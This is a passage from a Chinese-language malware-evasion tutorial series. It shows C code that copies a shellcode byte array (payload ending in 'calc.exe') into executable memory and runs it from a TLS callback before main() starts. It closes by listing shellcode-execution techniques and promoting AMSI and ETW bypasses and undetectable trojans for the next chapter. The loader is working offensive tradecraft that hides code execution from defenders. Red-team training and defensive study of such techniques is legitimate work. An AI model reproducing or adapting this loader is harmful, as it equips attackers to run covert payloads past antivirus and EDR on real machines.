0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
#endif
// TLS回调函数实现
void NTAPI TlsCallBack(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
if (Reason == DLL_PROCESS_ATTACH) { // 仅进程启动时触发
// 分配可执行内存
LPVOID pExecMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pExecMem) {
// 复制并执行Shellcode
memcpy(pExecMem, shellcode, sizeof(shellcode));
((void(*)())pExecMem)();
}
}
}
#pragma comment(linker, "/INCLUDE:_tls_used") // 告知链接器生成TLS目录结构。
#pragma comment(linker, "/INCLUDE:_tls_callback") // 确保自定义回调符号被链接
// 回调函数指针定位
#pragma data_seg(".CRT$XLB") // 位于TLS回调数组的第二项(.CRT$XLA为起始)
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack; //注册TLS回调函数
#pragma data_seg()
int main()
{
printf("TLS 回调函数在 main 函数之前执行。\n");
return 0;
}
⚠注意:不知道什么原因,该代码只能用clang-cl编译,用MSVC不会触发回调函数。
九、尾语
当然执行shellcode的手段应该不只这些,继续探究下去还有VEH异常机制执行shellcode,感兴趣的读者可以自行研究,其本质就是VEH机制为攻击者提供了一种在异常处理流程中执行任意代码的方法。通过注册处理函数、触发异常并修改执行上下文,攻击者可以绕过部分安全机制执行shellcode。
看到这里你应该对执行shellcode有一个大致的认识了,即执行shellcode无外乎创建线程、函数指针、APC队列、内联汇编、回调机制,其中回调机制是比较复杂也比较隐秘的一种方法,Windows系统上有很多功能都要通过回调机制来完成,这也就给了攻击者触发执行shellcode的机会。
行文至此,有些感慨,不知不觉就写完了 第二章-执行与注入技术
,见识了这么多注入技术,总算是准备进入到 问鼎免杀之路
的核心篇章 第三章-防御规避
。
防御规避从来不是简单的技术堆砌。当我们在第二章将代码注入玩转得如同庖丁解牛般娴熟时,真正的考验才悄然降临。就像攀岩者征服了九十度的绝壁,抬头却看见云雾中若隐若现的倒悬冰川——AV的主动防御体系正在云端编织天罗地网,EDR探针像夜枭般蛰伏在每个API调用的阴影里。
从内存加密到伪装欺骗AV/EDR的扫描,从动态获取API函数到底层系统调用,每个技术节点都暗藏认知边疆的暴风雪。但胸腔里燃烧的究竟是什么?是发现Hook点被绕过时的战栗,是看见AMSI Bypass的会心一笑又或者是ETW Bypass欣喜若狂,更是亲手构建的免杀木马在真实攻防演练中存活72小时的璀璨黎明。
相信防御规避绝对会给每个探索者带来认知风暴,这注定是一场优雅的攻击方的暴力美学。